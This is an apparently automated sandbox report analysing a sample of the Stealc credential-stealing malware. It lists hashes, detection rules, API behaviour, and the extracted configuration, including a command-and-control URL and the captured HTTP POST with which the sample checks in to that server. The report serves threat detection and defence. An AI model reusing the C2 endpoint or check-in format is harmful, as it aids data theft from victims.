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Windows Analysis Report
4M3JIACIWk.exe

Overview

General Information

Sample name:	4M3JIACIWk.exe renamed because original name is a hash value
Original sample name:	0bc1c014e9e5d1b09d1cf2ba0e521c79.exe
Analysis ID:	1540239
MD5:	0bc1c014e9e5d1b09d1cf2ba0e521c79
SHA1:	3c8c872d90b308944d979b033b48870f1d2934db
SHA256:	c7bbcad5b7a6cb9a404c4b6077cd657f6d24a98b5b7c4a399aef65a709e73f95
Tags:	exeStealcuser-abuse_ch
Infos:

Detection

Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Machine Learning detection for sample

Searches for specific processes (likely to inject)

AV process strings found (often used to terminate AV products)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Extensive use of GetProcAddress (often used to hide API calls)

Found evaded block containing many API calls

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

Internet Provider seen in connection with other malware

One or more processes crash

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

4M3JIACIWk.exe (PID: 4996 cmdline: "C:\Users\user\Desktop\4M3JIACIWk.exe" MD5: 0BC1C014E9E5D1B09D1CF2BA0E521C79)

WerFault.exe (PID: 3816 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 4996 -s 1044 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.201.252.118/ef952bc0f542da4b.php", "Botnet": "LogsDiller"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.2280904911.000000000079E000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x10d8:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000002.2280928896.00000000007C8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000003.2087612753.0000000002480000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 4M3JIACIWk.exe PID: 4996	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 4M3JIACIWk.exe PID: 4996	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author
0.2.4M3JIACIWk.exe.23e0e67.2.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.2.4M3JIACIWk.exe.400000.1.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.3.4M3JIACIWk.exe.2480000.0.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.2.4M3JIACIWk.exe.23e0e67.2.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.2.4M3JIACIWk.exe.400000.1.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.3.4M3JIACIWk.exe.2480000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 1 entries

Suricata Signatures

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-23T15:42:03.643810+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49705	185.201.252.118	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 00000000.00000003.2087612753.0000000002480000.00000004.00001000.00020000.00000000.sdmp

Malware Configuration Extractor: StealC {"C2 url": "http://185.201.252.118/ef952bc0f542da4b.php", "Botnet": "LogsDiller"}

Multi AV Scanner detection for submitted file

Source: 4M3JIACIWk.exe

ReversingLabs: Detection: 39%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: 4M3JIACIWk.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Code function: 0_2_0040C820 memset,lstrlenA,CryptStringToBinaryA,memcpy,lstrcatA,lstrcatA,lstrcatA,	0_2_0040C820
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Code function: 0_2_00407240 GetProcessHeap,HeapAlloc,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00407240
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Code function: 0_2_00409AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00409AC0
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Code function: 0_2_00418EA0 CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA,	0_2_00418EA0
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Code function: 0_2_00409B60 CryptUnprotectData,LocalAlloc,memcpy,LocalFree,	0_2_00409B60
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Code function: 0_2_023ECA87 memset,lstrlen,CryptStringToBinaryA,memcpy,lstrcat,lstrcat,lstrcat,	0_2_023ECA87
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Code function: 0_2_023E74A7 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_023E74A7
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Code function: 0_2_023E9D27 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_023E9D27
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Code function: 0_2_023F9107 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_023F9107
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Code function: 0_2_023E9DC7 CryptUnprotectData,LocalAlloc,memcpy,LocalFree,	0_2_023E9DC7

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\4M3JIACIWk.exe

Unpacked PE file: 0.2.4M3JIACIWk.exe.400000.1.unpack

Source: 4M3JIACIWk.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\4M3JIACIWk.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Code function: 0_2_0040E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0040E430
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Code function: 0_2_004138B0 wsprintfA,FindFirstFileA,lstrcatA,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcatA,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_004138B0
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Code function: 0_2_00414570 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	0_2_00414570
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Code function: 0_2_00414910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00414910
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Code function: 0_2_0040ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0040ED20
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Code function: 0_2_0040BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040BE70
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Code function: 0_2_0040DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040DE10
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Code function: 0_2_004016D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_004016D0
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Code function: 0_2_0040DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040DA80
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Code function: 0_2_00413EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	0_2_00413EA0
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Code function: 0_2_0040F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040F6B0
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Code function: 0_2_023EE697 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_023EE697
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Code function: 0_2_023F3B17 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_023F3B17
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Code function: 0_2_023F4B77 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_023F4B77
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Code function: 0_2_023EEF87 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_023EEF87
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Code function: 0_2_023F47D7 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_023F47D7
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Code function: 0_2_023EE077 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_023EE077
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Code function: 0_2_023EF8F1 FindFirstFileA,	0_2_023EF8F1
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Code function: 0_2_023EDCE7 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_023EDCE7
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Code function: 0_2_023EC0D7 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_023EC0D7
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Code function: 0_2_023E1937 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_023E1937
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Code function: 0_2_023EF917 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_023EF917
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Code function: 0_2_023F4107 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_023F4107

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49705 -> 185.201.252.118:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://185.201.252.118/ef952bc0f542da4b.php

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.201.252.118Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /ef952bc0f542da4b.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDAFHCGIJECFHIDGDBKEHost: 185.201.252.118Content-Length: 217Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 41 46 48 43 47 49 4a 45 43 46 48 49 44 47 44 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 41 35 42 41 33 31 42 42 44 44 38 31 32 36 33 38 30 30 30 39 36 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 46 48 43 47 49 4a 45 43 46 48 49 44 47 44 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 4c 6f 67 73 44 69 6c 6c 65 72 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 46 48 43 47 49 4a 45 43 46 48 49 44 47 44 42 4b 45 2d 2d 0d 0a Data Ascii: ------JDAFHCGIJECFHIDGDBKEContent-Disposition: form-data; name="hwid"9A5BA31BBDD81263800096------JDAFHCGIJECFHIDGDBKEContent-Disposition: form-data; name="build"LogsDiller------JDAFHCGIJECFHIDGDBKE--

Source: Joe Sandbox View

ASN Name: INFRANET-ASIT INFRANET-ASIT

Source: unknown	TCP traffic detected without corresponding DNS query: 185.201.252.118
Source: unknown	TCP traffic detected without corresponding DNS query: 185.201.252.118
Source: unknown	TCP traffic detected without corresponding DNS query: 185.201.252.118
Source: unknown	TCP traffic detected without corresponding DNS query: 185.201.252.118
Source: unknown	TCP traffic detected without corresponding DNS query: 185.201.252.118
Source: unknown	TCP traffic detected without corresponding DNS query: 185.201.252.118
Source: unknown	TCP traffic detected without corresponding DNS query: 185.201.252.118
Source: unknown	TCP traffic detected without corresponding DNS query: 185.201.252.118

Source: C:\Users\user\Desktop\4M3JIACIWk.exe

Code function: 0_2_00404880 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,lstrlenA,lstrlenA,HttpSendRequestA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_00404880

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: 185.201.252.118Connection: Keep-AliveCache-Control: no-cache

Source: unknown

HTTP traffic detected: POST /ef952bc0f542da4b.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDAFHCGIJECFHIDGDBKEHost: 185.201.252.118Content-Length: 217Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 41 46 48 43 47 49 4a 45 43 46 48 49 44 47 44 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 41 35 42 41 33 31 42 42 44 44 38 31 32 36 33 38 30 30 30 39 36 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 46 48 43 47 49 4a 45 43 46 48 49 44 47 44 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 4c 6f 67 73 44 69 6c 6c 65 72 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 46 48 43 47 49 4a 45 43 46 48 49 44 47 44 42 4b 45 2d 2d 0d 0a Data Ascii: ------JDAFHCGIJECFHIDGDBKEContent-Disposition: form-data; name="hwid"9A5BA31BBDD81263800096------JDAFHCGIJECFHIDGDBKEContent-Disposition: form-data; name="build"LogsDiller------JDAFHCGIJECFHIDGDBKE--

Source: 4M3JIACIWk.exe, 00000000.00000002.2280928896.00000000007C8000.00000004.00000020.00020000.00000000.sdmp, 4M3JIACIWk.exe, 00000000.00000002.2280849648.000000000078E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.201.252.118
Source: 4M3JIACIWk.exe, 00000000.00000002.2280928896.00000000007C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.201.252.118/
Source: 4M3JIACIWk.exe, 00000000.00000002.2280928896.0000000000801000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.201.252.118/4
Source: 4M3JIACIWk.exe, 00000000.00000002.2280928896.0000000000801000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.201.252.118/Y
Source: 4M3JIACIWk.exe, 00000000.00000002.2280928896.0000000000801000.00000004.00000020.00020000.00000000.sdmp, 4M3JIACIWk.exe, 00000000.00000002.2280928896.00000000007C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.201.252.118/ef952bc0f542da4b.php
Source: 4M3JIACIWk.exe, 00000000.00000002.2280928896.0000000000801000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.201.252.118/ef952bc0f542da4b.php&zV
Source: 4M3JIACIWk.exe, 00000000.00000002.2280928896.0000000000801000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.201.252.118/ef952bc0f542da4b.php/
Source: 4M3JIACIWk.exe, 00000000.00000002.2280928896.0000000000801000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.201.252.118/ef952bc0f542da4b.php3
Source: 4M3JIACIWk.exe, 00000000.00000002.2280928896.0000000000801000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.201.252.118/ef952bc0f542da4b.phpW
Source: 4M3JIACIWk.exe, 00000000.00000002.2280928896.00000000007C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.201.252.118/ef952bc0f542da4b.phpWindows
Source: 4M3JIACIWk.exe, 00000000.00000002.2280928896.0000000000801000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.201.252.118/ws
Source: Amcache.hve.4.dr	String found in binary or memory: http://upx.sf.net

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.2280904911.000000000079E000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown

Source: C:\Users\user\Desktop\4M3JIACIWk.exe

Code function: String function: 004045C0 appears 317 times

Source: C:\Users\user\Desktop\4M3JIACIWk.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4996 -s 1044

Source: 4M3JIACIWk.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000000.00000002.2280904911.000000000079E000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23

Source: 4M3JIACIWk.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.troj.evad.winEXE@2/5@0/1

Source: C:\Users\user\Desktop\4M3JIACIWk.exe

Code function: 0_2_00419600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00419600

Source: C:\Users\user\Desktop\4M3JIACIWk.exe

Code function: 0_2_00413720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00413720

Source: C:\Users\user\Desktop\4M3JIACIWk.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\67EQJOXR.htm

Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess4996

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\5df78488-4c48-4551-a392-6f6e14ca05d9

Jump to behavior

Source: 4M3JIACIWk.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\4M3JIACIWk.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 4M3JIACIWk.exe

ReversingLabs: Detection: 39%

Source: unknown	Process created: C:\Users\user\Desktop\4M3JIACIWk.exe "C:\Users\user\Desktop\4M3JIACIWk.exe"
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4996 -s 1044

Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\4M3JIACIWk.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\4M3JIACIWk.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\4M3JIACIWk.exe

Unpacked PE file: 0.2.4M3JIACIWk.exe.400000.1.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:EW;.rdata:R;.data:W;.reloc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\4M3JIACIWk.exe

Unpacked PE file: 0.2.4M3JIACIWk.exe.400000.1.unpack

Source: C:\Users\user\Desktop\4M3JIACIWk.exe

Code function: 0_2_00419860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00419860

Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Code function: 0_2_0041B035 push ecx; ret	0_2_0041B048
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Code function: 0_2_0079E005 pushad ; retn 0079h	0_2_0079E315
Source: C:\Users\user\Desktop\4M3JIACIWk.exe	Code function: 0_2_0079E574 push eax; retf	0_2_0079E665
